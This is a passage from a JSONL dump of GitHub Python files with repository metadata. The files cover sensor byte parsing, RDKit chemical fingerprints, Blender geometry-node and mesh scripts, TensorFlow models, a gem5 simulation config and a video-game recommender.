脚本。\n\n# 按 ⌃R 执行或将其替换为您的代码。\n# 按 双击 ⇧ 在所有地方搜索类、文件、工具窗口、操作和设置。\n\n\ndef int16_t(num):\n raw_str = bin(num)\n if len(raw_str) <= 17:\n return num\n extend_str = \"0b\" + \"1\" * 17 + raw_str[-15: -1] # Extend the sign\n print(struct.pack(\"I\", int(extend_str, 0)))\n return struct.unpack(\"i\", struct.pack(\"I\", int(extend_str, 0)))[0]\n\n\n\"\"\"\ndef int16_t(num):\n raw_str = bin(num)\n extend_str = raw_str\n # 16 Bits Cut\n \n if len(raw_str) > 17:\n if raw_str[-16] == \"0\": # 16 Bit == 0, len Must Not Be 18\n extend_str = \"0b\" + raw_str[-15: -1]\n else:\n extend_str = \"0b\" + raw_str[-16] * 17 + raw_str[-15: -1] # Extend the sign\n print(int(extend_str, 0), \"\\t\", ~int(extend_str, 0))\n NOT_num = ~int(extend_str, 0) # Negate Num\n real_num_str = bin(NOT_num + 1)\n extend_str = real_num_str\n if len(real_num_str) > 34:\n extend_str = \"0b\" + real_num_str[-32: -1]\n extend_str = \"-\" + extend_str\n \n return int(extend_str, 0)\n\"\"\"\n\ndef zitai(L, H):\n # 65536 is pow(2, 16) equal to (unsigned_int16_t)\n # return float((int16_t(H << 8) | L) / 32768 * 180)\n extend_num = 0\n if len(bin(struct.unpack(\"B\", H)[0])) == 10:\n extend_num = 255\n return struct.unpack(\"i\", L + H + struct.pack(\"B\", extend_num) + struct.pack(\"B\", extend_num))[0] / 32768 * 180\n\n\ndef get_int(shortL, shortH):\n extend_num = 0\n if len(bin(struct.unpack(\"B\", shortH)[0])) == 10:\n extend_num = 255\n return struct.unpack(\"i\", shortL + shortH + struct.pack(\"B\", extend_num) + struct.pack(\"B\", extend_num))[0]\n\n\n# 按间距中的绿色按钮以运行脚本。\nif __name__ == '__main__':\n f = open(\"./text.txt\", \"rb\")\n RollL = f.read(1)\n RollH = f.read(1)\n print(zitai(RollL, RollH))\n RollL = f.read(1)\n RollH = f.read(1)\n print(zitai(RollL, RollH))\n if struct.unpack(\"B\", b\"\\01\")[0] == 1:\n print(\"FUCK YOU\")\n\n# 访问 https://www.jetbrains.com/help/pycharm/ 获取 PyCharm 帮助\n","repo_name":"LiuJiLan/RT-Thread-based_abnormal_behavior_monitoring_system_for_the_elderly","sub_path":"code/数据分析/读取TTL数据/GetDataInPy_01/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38463687247","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: ntcockroft\n\nConverts smiles strings to one of four specified fingerprint types\nFingerprint types: Avalon, Morgan ECFP4, Morgan FCFP4, MACCS\n\n\"\"\"\nimport argparse\nimport csv\nimport time\nfrom rdkit.Avalon.pyAvalonTools import GetAvalonFP\nfrom rdkit.Chem import MACCSkeys, MolFromSmiles\nfrom rdkit.Chem.AllChem import GetMorganFingerprintAsBitVect\nimport pandas as pd\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Generate chemical \\\n fingerprints from smiles strings')\n parser.add_argument('-S', '--smiles', action='store', nargs=1,\n dest='smiles',\n help='List of smiles strings to convert to chemical \\\n chemical fingerprint - should be in a column named \\\n \"smiles\" (.csv format)')\n parser.add_argument('-f', '--fingerprint', action='store', nargs='*',\n dest='fingerprints', help='Desired fingerprint type \\\n (avalon, ecfp, fcfp, or maccs)')\n parser.add_argument('-n', '--name', action='store', nargs=1,\n dest='name', help='Name of fingerprint csv file \\\n to write')\n parser.add_argument('-i', '--input_directory', action='store', nargs=1,\n dest='input', default=['./'],\n help='Directory where input files are stored')\n parser.add_argument('-o', '--output_directory', action='store', nargs=1,\n dest='output', default=['./'],\n help='Directory where output files should be written')\n args = vars(parser.parse_args())\n\n for fptype in args['fingerprints']:\n data = pd.read_csv(args['input'][0] + args['smiles'][0],\n usecols=['smiles'])\n ofile = args['output'][0] + args['name'][0]\n time_start = time.time()\n with open(ofile, 'w') as csv_file:\n writer = csv.writer(csv_file, delimiter=',', lineterminator='\\n')\n for smiles in data.smiles.unique():\n mol = MolFromSmiles(smiles)\n try:\n if fptype == 'avalon':\n fp = GetAvalonFP(mol, nBits=2048)\n elif fptype == 'ecfp':\n fp = GetMorganFingerprintAsBitVect(mol, radius=2)\n elif fptype == 'fcfp':\n fp = GetMorganFingerprintAsBitVect(mol, radius=2,\n useFeatures=True)\n elif fptype == 'maccs':\n fp = MACCSkeys.GenMACCSKeys(mol)\n\n fp_bitstr = list(fp.ToBitString())\n fp_bitstr.insert(0, smiles)\n writer.writerow(fp_bitstr)\n except:\n writer.writerow((smiles, \"NA\"))\n print('Issue with conversion to ' + fptype +\n ' fingerprint: ' +str(smiles))\n print('Done writing ' + fptype + ' fingerprints! Time elapsed: \\\n {} seconds'.format(time.time()-time_start))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ntcockroft/STarFish","sub_path":"build_model/py/gen_fp.py","file_name":"gen_fp.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"71694892962","text":"import bpy, os\nfrom typing import Any\nfrom bpy.props import IntProperty\n\nNODETREE_NAME = \"GN-shape_key\"\nCOLLECTION_NAME = \"GeoNode Shape Keys\"\n\ndef geomod_get_identifier(modifier: bpy.types.Modifier, param_name: str) -> str:\n input = modifier.node_group.inputs.get(param_name)\n if input:\n return input.identifier\n\ndef geomod_set_param_value(modifier: bpy.types.Modifier, param_name: str, param_value: Any):\n input_id = geomod_get_identifier(modifier, param_name)\n modifier[input_id] = param_value\n\ndef geomod_set_param_use_attribute(modifier: bpy.types.Modifier, param_name: str, use_attrib: bool):\n input_id = geomod_get_identifier(modifier, param_name)\n modifier[input_id+\"_use_attribute\"] = use_attrib\n\ndef geomod_set_param_attribute(modifier:bpy.types.Modifier, param_name: str, attrib_name: str):\n input_id = geomod_get_identifier(modifier, param_name)\n modifier[input_id+\"_use_attribute\"] = True\n modifier[input_id+\"_attribute_name\"] = attrib_name\n\ndef get_resource_blend_path() -> str:\n filedir = os.path.dirname(os.path.realpath(__file__))\n blend_path = os.sep.join(filedir.split(os.sep) + ['geonodes.blend'])\n return blend_path\n\ndef link_shape_key_node_tree() -> bpy.types.NodeTree:\n # Load shape key node tree from a file.\n if NODETREE_NAME in bpy.data.node_groups:\n return bpy.data.node_groups[NODETREE_NAME]\n\n with bpy.data.libraries.load(get_resource_blend_path(), link=True) as (data_from, data_to):\n data_to.node_groups.append(NODETREE_NAME)\n\n return bpy.data.node_groups[NODETREE_NAME]\n\ndef ensure_shapekey_collection(scene: bpy.types.Scene) -> bpy.types.Collection:\n \"\"\"Ensure and return a collection used for the objects created by the add-on.\"\"\"\n coll = bpy.data.collections.get(COLLECTION_NAME)\n if not coll:\n coll = bpy.data.collections.new(COLLECTION_NAME)\n scene.collection.children.link(coll)\n coll.hide_render = True\n\n return coll\n\n\nclass GNSK_add_shape(bpy.types.Operator):\n \"\"\"Create a GeoNode modifier set-up and a duplicate object\"\"\"\n bl_idname = \"object.add_geonode_shape_key\"\n bl_label = \"Add GeoNode Shape Key\"\n bl_options = {'REGISTER', 'UNDO'}\n\n # TODO: Invoke should probably ask for a shape key name and a UVMap.\n # UVMap should probably be auto-selected based on some convention.\n # Add an option to keyframe this to only be active on this frame.\n\n def execute(self, context):\n # Save evaluated object into a new object\n rigged_ob = context.object\n rigged_ob.override_library.is_system_override = False\n\n gnsk = rigged_ob.geonode_shapekeys.add()\n gnsk.name = \"ShapeKey: Frame \" + str(context.scene.frame_current)\n\n depsgraph = context.evaluated_depsgraph_get()\n rigged_mesh_eval = rigged_ob.evaluated_get(depsgraph).to_mesh()\n\n sk_mesh = bpy.data.meshes.new_from_object(rigged_ob)\n sk_ob = bpy.data.objects.new(gnsk.ob_name, sk_mesh)\n sk_ob.data.name = sk_ob.name\n gnsk.storage_object = sk_ob\n ensure_shapekey_collection(context.scene).objects.link(sk_ob)\n\n # Set the target shape to be the evaluated mesh.\n for target_v, eval_v in zip(sk_ob.data.vertices, rigged_mesh_eval.vertices):\n target_v.co = eval_v.co\n\n # Add shape keys\n sk_ob.use_shape_key_edit_mode = True\n sk_ob.shape_key_add(name=\"Basis\")\n sk_ob.hide_render = True\n adjust = sk_ob.shape_key_add(name=\"New Shape\", from_mix=True)\n adjust.value = 1\n sk_ob.active_shape_key_index = 1\n sk_ob.add_rest_position_attribute = True\n\n sk_ob.matrix_world = rigged_ob.matrix_world\n sk_ob.geonode_shapekey_target = rigged_ob\n\n rigged_ob.hide_set(True)\n sk_ob.select_set(True)\n context.view_layer.objects.active = sk_ob\n\n # Add GeoNode modifier\n mod = rigged_ob.modifiers.new(gnsk.name, type='NODES')\n gnsk.name = mod.name # In case the modifier got a .001 suffix.\n mod.node_group = link_shape_key_node_tree()\n geomod_set_param_value(mod, 'Sculpt', sk_ob)\n geomod_set_param_attribute(mod, 'UVMap', sk_ob.data.uv_layers[0].name)\n\n # Swap to Sculpt Mode\n orig_ui = context.area.ui_type\n context.area.ui_type = 'VIEW_3D'\n bpy.ops.object.mode_set(mode='SCULPT')\n context.area.ui_type = orig_ui\n\n return {'FINISHED'}\n\nclass GNSK_remove_shape(bpy.types.Operator):\n \"\"\"Create a GeoNode modifier set-up and a duplicate object\"\"\"\n bl_idname = \"object.remove_geonode_shape_key\"\n bl_label = \"Add GeoNode Shape Key\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n ob = context.object\n active_gnsk = ob.geonode_shapekeys[ob.geonode_shapekey_index]\n\n mod_removed = False\n ob_removed = False\n\n mod = active_gnsk.modifier\n if mod:\n ob.modifiers.remove(mod)\n mod_removed = True\n\n # Remove the object\n if active_gnsk.storage_object:\n bpy.data.objects.remove(active_gnsk.storage_object)\n ob_removed = True\n\n # Remove the GNSK slot\n ob.geonode_shapekeys.remove(ob.geonode_shapekey_index)\n\n # Fix the active index\n to_index = min(ob.geonode_shapekey_index, len(ob.geonode_shapekeys) - 1)\n ob.geonode_shapekey_index = to_index\n\n coll = ensure_shapekey_collection(context.scene)\n if len(coll.all_objects) == 0:\n bpy.data.collections.remove(coll)\n\n # Give feedback\n if mod_removed and ob_removed:\n self.report({'INFO'}, \"Successfully deleted Object and Modifier.\")\n elif not mod_removed:\n self.report({'WARNING'}, f'Modifier named \"{active_gnsk.name}\" was not found.')\n elif not ob_removed:\n self.report({'WARNING'}, f'Storage object was not found.')\n else:\n self.report({'WARNING'}, f'Neither the storage object, nor the modifier named \"{active_gnsk.name}\" was found.')\n\n return {'FINISHED'}\n\n\nclass GNSK_toggle_object(bpy.types.Operator):\n \"\"\"Swap between the sculpt and overridden objects\"\"\"\n bl_idname = \"object.geonode_shapekey_switch_focus\"\n bl_label = \"GeoNode Shape Keys: Switch Focus\"\n bl_options = {'REGISTER', 'UNDO'}\n\n index: IntProperty(default = -1)\n\n def execute(self, context):\n ob = context.object\n target = ob.geonode_shapekey_target\n\n if self.index > -1:\n ob.geonode_shapekey_index = self.index\n\n if target:\n ob.select_set(False)\n ob.hide_set(True)\n\n target.hide_set(False)\n target.select_set(True)\n context.view_layer.objects.active = target\n\n elif len(ob.geonode_shapekeys) > 0:\n storage = ob.geonode_shapekeys[ob.geonode_shapekey_index].storage_object\n if not storage:\n self.report({'ERROR'}, \"No storage object to swap to.\")\n return {'CANCELLED'}\n\n ob.select_set(False)\n ob.hide_set(True)\n\n storage.hide_set(False)\n storage.select_set(True)\n context.view_layer.objects.active = storage\n\n orig_ui = context.area.ui_type\n context.area.ui_type = 'VIEW_3D'\n bpy.ops.object.mode_set(mode='SCULPT')\n context.area.ui_type = orig_ui\n \n else:\n self.report({'ERROR'}, \"No storage or target to swap to.\")\n return {'CANCELLED'}\n \n return {'FINISHED'}\n\n\nregistry = [\n GNSK_add_shape,\n GNSK_remove_shape,\n GNSK_toggle_object\n]","repo_name":"AnityEx/geonode_shapekeys","sub_path":"operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":7614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13682482018","text":"import tensorflow as tf\n\n\n# ---------- task 2 \"Model\" -----------\n\n\nclass CustomModel(tf.keras.Model):\n \"\"\"Custom Model with convolutional and pooling layers.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor\"\"\"\n super(CustomModel, self).__init__()\n self.hidden_layer1 = tf.keras.layers.Dense(64)\n self.hidden_layer2 = tf.keras.layers.Dense(64)\n self.output_layer = tf.keras.layers.Dense(1)\n\n @tf.function\n def call(self, inputs: tf.Tensor) -> tf.Tensor:\n \"\"\"Model's forward pass through instantiated layers\n\n Args:\n inputs: inputs to feed the model\n \"\"\"\n\n output_of_hl_1 = self.hidden_layer1(inputs)\n output_of_hl_2 = self.hidden_layer2(output_of_hl_1)\n return self.output_layer(output_of_hl_2)\n\n\nclass ConvModel(tf.keras.Model):\n \"\"\"Custom Model with convolutional and pooling layers.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor\"\"\"\n super(ConvModel, self).__init__()\n\n self.conv_layer_1 = tf.keras.layers.Conv2D(\n filters=16,\n kernel_size=(3, 3),\n activation=tf.keras.activations.relu,\n input_shape=(28, 28, 1),\n padding=\"same\",\n )\n self.pooling_layer_1 = tf.keras.layers.MaxPooling2D(padding=\"same\",)\n self.conv_layer_2 = tf.keras.layers.Conv2D(\n filters=32,\n kernel_size=(3, 3),\n activation=tf.keras.activations.relu,\n padding=\"same\",\n )\n self.flatten_layer = tf.keras.layers.Flatten()\n self.dropout_layer = tf.keras.layers.Dropout(rate=0.7)\n self.output_layer = tf.keras.layers.Dense(\n 10, activation=tf.keras.activations.softmax\n )\n\n @tf.function\n def call(self, inputs: tf.Tensor) -> tf.Tensor:\n \"\"\"Model's forward pass through instantiated layers\n\n Args:\n inputs: inputs to feed the model\n \"\"\"\n\n output_of_conv_1 = self.conv_layer_1(inputs)\n output_of_pool_1 = self.pooling_layer_1(output_of_conv_1)\n output_of_conv_2 = self.conv_layer_2(output_of_pool_1)\n output_of_flattened = self.flatten_layer(output_of_conv_2)\n output_of_dropout = self.dropout_layer(output_of_flattened)\n return self.output_layer(output_of_dropout)\n","repo_name":"pondreka/IANNswtf","sub_path":"hw_05/custom_model.py","file_name":"custom_model.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30447826319","text":"import bpy\nimport bmesh\n\nfrom mathutils import Vector, Matrix\n\n# create collection under parent collection\n# return:\n# coll: bpy.types.collection, created collection\n# parameter:\n# parent_collection: bpy.types.collection\n# collection_name: str\ndef createCollection(parent_collection, collection_name):\n # bpy.ops.collection.create(name=collection_name)\n bpy.data.collections.new(name=collection_name)\n coll = bpy.data.collections[collection_name]\n parent_collection.children.link(coll)\n return coll\n\ndef createCamera(collection, name, position):\n cam = bpy.data.cameras.new(name)\n cam.clip_end = 99999\n cam_ob = bpy.data.objects.new(name, cam)\n cam_ob.location = position\n collection.objects.link(cam_ob)\n\n return cam_ob\n\n\n# return\n# ob: bpy.types.object\n# parameter\n# collection: this cube will create in this collection\n# name: str\n# position: Vector(x, y, z)\ndef createCube(collection, name, position, scale = 1.0):\n\n me = bpy.data.meshes.new(name)\n ob = bpy.data.objects.new(name, me)\n ob.location = position\n collection.objects.link(ob)\n\n verts = [\n (-0.5, -0.5, -0.5), (-0.5, 0.5, -0.5), (0.5, 0.5, -0.5), (0.5, -0.5, -0.5),\n (-0.5, -0.5, 0.5), (-0.5, 0.5, 0.5), (0.5, 0.5, 0.5), (0.5, -0.5, 0.5)]\n faces = [\n (0, 1, 2, 3), (7, 6, 5, 4), (0, 4, 5, 1),\n (1, 5, 6, 2), (2, 6, 7, 3), (3, 7, 4, 0)]\n\n scale_verts = []\n for v in verts:\n scale_verts.append((scale * v[0], scale * v[1], scale * v[2]))\n\n\n me.from_pydata(scale_verts, [], faces)\n me.update(calc_edges = True)\n\n return ob\n\n# return\n# ob: bpy.types.object\n# parameter\n# collection: this cube will create in this collection\n# name: str\n# head_pos: position of head is Vector(x, y, z)\n# tail_pos: position of tail is Vector(x, y, z)\ndef createLine(collection, name, head_pos, tail_pos):\n\n me = bpy.data.meshes.new(name)\n ob = bpy.data.objects.new(name, me)\n ob.location = head_pos\n collection.objects.link(ob)\n\n bm = bmesh.new() # create an empty BMesh\n bm.from_mesh(me) # fill it in from a Mesh\n\n head = bm.verts.new((0.0, 0.0, 0.0))\n tail = bm.verts.new((tail_pos - head_pos))\n bm.edges.new((head, tail))\n\n bm.to_mesh(me)\n bm.free() # free and prevent further access\n\n me.update(calc_edges = True)\n\n return ob\n# . -\n# /|\\ 1\n# /_|_\\ -\n#|--1--|\ndef createPyramid(collection, name, head_pos, tail_pos):\n \n me = bpy.data.meshes.new(name)\n ob = bpy.data.objects.new(name, me)\n ob.location = head_pos\n collection.objects.link(ob)\n\n verts = [\n (-0.5, -0.5, 0), (0.5, -0.5, 0), (0.5, 0.5, 0), (-0.5, 0.5, 0), (0, 0, 1)]\n faces = [\n (3, 2, 1, 0), (0, 1, 4), (1, 2, 4), (2, 3, 4), (3, 0, 4)]\n\n up = tail_pos - head_pos\n world_front = Vector([0, 1, 0])\n\n z = up.normalized().xyz\n x = world_front.cross(z.xyz)\n y = z.cross(x)\n rotation = Matrix((x, y, z)).transposed()\n \n transform_verts = []\n\n for v in verts:\n transform_verts.append((rotation @ Vector([v[0], v[1], up.length * v[2]])))\n\n me.from_pydata(transform_verts, [], faces)\n me.update(calc_edges = True)\n\n return ob\n\n\n\n# return\n# curve_ob: bpy.types.object\n# parameter\n# collection: this cube will create in this collection\n# name: str\n# points: list[Vector]\ndef createPolyCurve(context, collection, name, points):\n # create the Curve Datablock\n curve_data = bpy.data.curves.new(name, type='CURVE')\n curve_data.dimensions = '3D'\n #curveData.resolution_u = 3\n\n # map coords to spline\n polyline = curve_data.splines.new('POLY') \n polyline.points.add(len(points)-1) \n\n for i, point in enumerate(points):\n x,y,z = point\n polyline.points[i].co = (x, y, z, 1)\n \n # create Object\n curve_ob = bpy.data.objects.new(name, curve_data)\n curve_data.bevel_depth = 0.01\n\n # attach to scene and validate context\n collection.objects.link(curve_ob)\n context.view_layer.objects.active = curve_ob\n\n return curve_ob\n\n# return\n# b_point: Vecotr\n# parameter\n# t: float, parameter[0, 1]\n# c_points: list[Vecotr], 4 control point\n\n","repo_name":"maochinn/motion_path_editing","sub_path":"createBlenderThing.py","file_name":"createBlenderThing.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40832520145","text":"import m5\n\n# import all of the SimObjects\nfrom m5.objects import *\n# Add the common scripts to our path\nm5.util.addToPath('../../')\n\n# import the caches which we made\nfrom caches import *\nimport argparse\n# import the SimpleOpts module\nfrom common import SimpleOpts\n# create the system we are going to simulate\nfrom common import Options\nfrom common import ObjectList\nsystem = System()\n\n# Set the clock fequency of the system (and all of its children)\nsystem.clk_domain = SrcClockDomain()\nsystem.clk_domain.clock = '1GHz'\nsystem.clk_domain.voltage_domain = VoltageDomain()\n\n# Set up the system\nsystem.mem_mode = 'timing' # Use timing accesses\n#system.mem_mode = 'atomic' # Use timing accesses\n\nsystem.mem_ranges = [AddrRange('8192MB')] # Create an address range\n\n# Create a simple CPU\nsystem.cpu = TimingSimpleCPU()\n# system.cpu = DerivO3CPU()\n#system.cpu = MinorCPU()\n#system.cpu = AtomicSimpleCPU()\n#system.cpu = O3CPU()\nparser = argparse.ArgumentParser(description='CPU with 2-Level cache and branch predictor')\n\nparser.add_argument(\"--bp-type\", default=None,\n choices=ObjectList.bp_list.get_names(),\n help=\"\"\"\n type of branch predictor to run with\n (if not set, use the default branch predictor of\n the selected CPU)\"\"\")\n \nargs = parser.parse_args()\nif args.bp_type:\n bpClass = ObjectList.bp_list.get(args.bp_type)\n system.cpu.branchPred = bpClass()\n\n#parser.add_argument(\"binary\", default=\"\", nargs=\"?\", type=str,\n# help=\"Path to the binary to execute.\")\n#parser.add_argument(\"--l1i_size\",\n# help=f\"L1 instruction cache size. Default: 16kB.\")\n#parser.add_argument(\"--l1d_size\",\n# help=\"L1 data cache size. Default: Default: 64kB.\")\n#parser.add_argument(\"--l2_size\",\n# help=\"L2 cache size. Default: 256kB.\")\n\noptions = parser.parse_args()\n\n\n\n\n\n\n\n\n\n# Create an L1 instruction and data cache\nsystem.cpu.icache = L1ICache()\nsystem.cpu.dcache = L1DCache()\n\n\n# Connect the instruction and data caches to the CPU\nsystem.cpu.icache.connectCPU(system.cpu)\nsystem.cpu.dcache.connectCPU(system.cpu)\n\n# Create a memory bus, a coherent crossbar, in this case\nsystem.l2bus = L2XBar()\n\n# Hook the CPU ports up to the l2bus\nsystem.cpu.icache.connectBus(system.l2bus)\nsystem.cpu.dcache.connectBus(system.l2bus)\n\n# Create an L2 cache and connect it to the l2bus\nsystem.l2cache = L2Cache()\nsystem.l2cache.connectCPUSideBus(system.l2bus)\n\n# Create a memory bus\nsystem.membus = SystemXBar()\n\n# Connect the L2 cache to the membus\nsystem.l2cache.connectMemSideBus(system.membus)\n\n# create the interrupt controller for the CPU\nsystem.cpu.createInterruptController()\n\n# For x86 only, make sure the interrupts are connected to the memory\n# Note: these are directly connected to the memory bus and are not cached\nif m5.defines.buildEnv['TARGET_ISA'] == \"x86\":\n system.cpu.interrupts[0].pio = system.membus.mem_side_ports\n system.cpu.interrupts[0].int_requestor = system.membus.cpu_side_ports\n system.cpu.interrupts[0].int_responder = system.membus.mem_side_ports\n\n# Connect the system up to the membus\nsystem.system_port = system.membus.cpu_side_ports\n\n# Create a DDR3 memory controller\nsystem.mem_ctrl = MemCtrl()\nsystem.mem_ctrl.dram = DDR3_1600_8x8()\nsystem.mem_ctrl.dram.range = system.mem_ranges[0]\nsystem.mem_ctrl.port = system.membus.mem_side_ports\n\n\n\n# get ISA for the binary to run.\nisa = str(m5.defines.buildEnv['TARGET_ISA']).lower()\n\n# Default to running 'hello', use the compiled ISA to find the binary\n# grab the specific path to the binary\nthispath = os.path.dirname(os.path.realpath(__file__))\nprint (thispath)\n\nbinary = os.path.join(thispath, '../../tests/test-progs/matmul_ijk_128.out')\nprint (binary)\n\nsystem.workload = SEWorkload.init_compatible(binary)\n\n\n# Create a process for a simple \"Hello World\" application\nprocess = Process()\n# Set the command\n# cmd is a list which begins with the executable (like argv)\nprocess.cmd = [binary]\n# Set the cpu to use the process as its workload and create thread contexts\nsystem.cpu.workload = process\nsystem.cpu.createThreads()\n\n# set up the root SimObject and start the simulation\nroot = Root(full_system = False, system = system)\n# instantiate all of the objects we've created above\nm5.instantiate()\n\nprint(\"Beginning simulation!\")\nexit_event = m5.simulate()\nprint('Exiting @ tick %i because %s' % (m5.curTick(), exit_event.getCause()))\n","repo_name":"w-feng/CompArch-MIPS-POWER","sub_path":"Exercises/Code/CH2/br_pred.py","file_name":"br_pred.py","file_ext":"py","file_size_in_byte":4542,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"34883999405","text":"#Cold Start [Evaluating User's Own Description Input]\nfrom EDA import EDA\nimport pandas as pd\nimport numpy as np\nimport os\nimport time\n# from sklearn.metrics.pairwise import cosine_similarity\n# from sklearn.feature_extraction.text import CountVectorizer\n\nclass Cold_Start:\n def __init__(self):\n #TODO: combine all columns into one csv.\n # have zero nan values\n # and cleaned\n #Load videogame description table and clean a little\n self.videogame_description_table = pd.read_csv('../Data/videogame_asin_and_bow.csv', index_col=0)\n self.videogame_description_table.fillna(\"\", inplace=True)\n #instantiate and EDA object\n self.eda = EDA()\n #Load full videogame\n self.asin_title = pd.read_csv('../Data/asin_title.csv', index_col = 0)\n self.choices = ['1','2','3','4','5','6','7']\n pass\n\n # #======RECOMMENDATIONS BY USER INPUT:\n # #======Lets user input their own description\n # def recommendations_by_user_input(self, bag_of_words, show_correlation=False):\n # #create new df row with use of bag_of_words and append to dataframe\n # temp = pd.DataFrame({\"asin\":[0], \"bag_of_words\":[bag_of_words]})\n # appending_df = self.videogame_description_table.copy()\n # appending_df = appending_df.sample(frac=1).reset_index(drop=True)\n # temp = temp.append(appending_df, ignore_index = True)\n # bag_of_word_list = temp['bag_of_words'][:25000]\n #\n # #then get the indices of it\n # indices = pd.Series(temp['asin'])\n #\n # #initialize new list of things to recommend\n # recommended_items = []\n #\n # #indices == 0 because it is 0 (because of temp df)\n # idx = indices[indices == 0].index[0]\n #\n # #instantiate CountVectorizer\n # count = CountVectorizer()\n # count_matrix = count.fit_transform(bag_of_word_list)\n #\n # vg_cosine_sim = cosine_similarity(count_matrix, count_matrix)\n #\n # #get scores based on consine similarity\n # score_series = pd.Series(vg_cosine_sim[idx]).sort_values(ascending = False)\n #\n # top_10_indexes = list(score_series.iloc[1:11].index)\n #\n # seperator = ' '\n # for i in top_10_indexes:\n # product_description = self.replace_asin_with_description(list(self.videogame_description_table.index)[i])\n # if show_correlation:\n # recommended_items.append((seperator.join(product_description.split()[:7]),score_series[i]))\n # else:\n # recommended_items.append(seperator.join(product_description.split()[:7]))\n #\n # return recommended_items\n #\n # #===REPLACE ASIN WITH DESCRIPTION\n # #===Replaces asin values with their corresponding description\n # def replace_asin_with_description(self, asin):\n # return (self.eda.remov_duplicates(self.asin_title.iloc[[asin]]['title'].item().title()))\n #\n # #===TOP 10\n # #===Retuns top 10 items from database\n # def top_10(self):\n # #just get top 10 items. sorted by # of ratings, then avg rating\n # #have to add # of ratings to video game column\n # return \"top_10\"\n #\n # #===INPUT_RECOMMENDER\n # #===Asks for input from user\n # def input_recommender(self):\n # input_product = input(\"Enter a description: \")\n # input_product_tokenized = self.eda.personal_tokenize(self.eda.remov_duplicates(input_product.lower()))\n #\n # if len(input_product_tokenized) == 0:\n # print(\"Here are some of our most popular items!\")\n # print(self.top_10())\n #\n # else:\n # print('We recommend you try some of these products!')\n # return self.recommendations_by_user_input(input_product_tokenized)\n\n def hard_code(self):\n print('**************************')\n print('[3] RECOMMEND BY PLATFORM')\n print('**************************')\n print('[1] PC')\n print('[2] Mac')\n print('[3] Xbox')\n print('[4] Sony')\n print('[5] Nintendo')\n print('[6] Atari')\n print('[7] Sega')\n print('=========================')\n user_input = str(input(\"Enter a number (q to quit): \"))\n print('')\n\n if user_input == 'q':\n self.eda.countdown('Returning to menu',countdown_time = 3)\n return\n\n if user_input not in self.choices:\n print('============================')\n print(' NOT A VALID INPUT!')\n print('============================')\n print('')\n self.eda.countdown('Retry another input in ',countdown_time = 3)\n return self.hard_code()\n\n else:\n #PC\n if user_input == '1':\n output = ['Mamas & Papas Soft Toy, Peanut Elephant',\n '1UPcard Video Game Cartridge Cleaning Kit - 3 Pack with Fluid',\n \"Shiver: Vanishing Hitchhiker Collector's Edition\",\n 'Thrustmaster VG Thrustmaster T500 F1 Racing Wheel - PC',\n 'SpongeBob SquarePants: Diner Dash']\n #Mac\n elif user_input == '2':\n output = ['Panzer Dragoon Zwei - Sega Saturn',\n 'Silent Hill 3 with Game Soundtrack CD',\n 'Heroes of Might and Magic III',\n 'Fighting Edition: Tekken 6 / Tag Tournament 2 / Soul Calibur V - Playstation 3',\n 'Auawak Rapoo V300 Ergonomic APM Smart Breathing Light Built-in 32-bit 60MHz V-power3 Core Gaming Mouse for PC Laptops and Desktops - 4000DPI']\n\n #Xbox\n elif user_input == '3':\n output = ['[Newest 2019] Gaming Headset for Xbox One, S, PS4, PC with LED Soft Breathing Earmuffs, Adjustable Microphone, Comfortable Mute & Volume Control, 3.5mm Adapter for Laptop, PS3, Nintendo',\n 'Forza Horizon 2: VIP Membership - Xbox One Digital Code',\n 'Gam3Gear Aluminum Alloy Analog Thumbstick for Xbox ONE Green (Set of 2)',\n 'LEGO Marvel Avengers (Xbox One)',\n 'Monster Fiber Optic 450dfo Advanced Performance Audio Cable - English/French/Spanish (6.56 feet / 2 meters)']\n\n #Sony\n elif user_input == '4':\n output = ['Odin Sphere Leifthrasir - PlayStation 3 Standard Edition',\n 'PlayStation Vita PERSONA 4 Dancing All Night Premium Crazy Box Japan ver',\n \"Saint Seya: Soldier's Soul English/Spanish Version\",\n 'X-COM: UFO Defense - PlayStation',\n 'Hard Pouch for PlayStation Vita (Pink)']\n\n #Nintendo\n elif user_input == '5':\n output = ['Crystalis',\n 'Hatsune Miku -Project DIVA-F 2nd[Japan Import]',\n \"Demon's Crest\",\n 'Nintendo Nes Security 3 Tool Video Game Cartridge Cleaning Kit',\n 'New Nintendo 3DS Cover Plates No.063 Pokemon']\n\n #Atari\n elif user_input =='6':\n output = ['Dig Dug',\n 'Atari 2600 AC Power Adapter by CyCO',\n 'Warlords',\n 'Solaris',\n 'Pitfall II: Lost Caverns']\n\n #Sega\n elif user_input == '7':\n output = ['Controller Extension Cable for Dreamcast Controllers by Mars Devices',\n 'Snatcher',\n 'Shining The Holy Ark - Sega Saturn',\n 'Sega Saturn 6 Player Multiplayer Adapter',\n \"Wonder Boy III: The Dragon's Trap\"]\n\n\n print('Here are some recommendations!')\n print('------------------------------')\n\n for idx, val in enumerate(output):\n print(str(idx+1)+\": \"+val)\n print('')\n print('Hope you enjoy the selection!')\n print('')\n input('Enter anything to continue')\n return\n","repo_name":"WinrichSy/AmazonGamesRecommender","sub_path":"src/ColdStart.py","file_name":"ColdStart.py","file_ext":"py","file_size_in_byte":8170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37569560843","text":"def missing_letters(s):\n \"\"\"\n @type s: 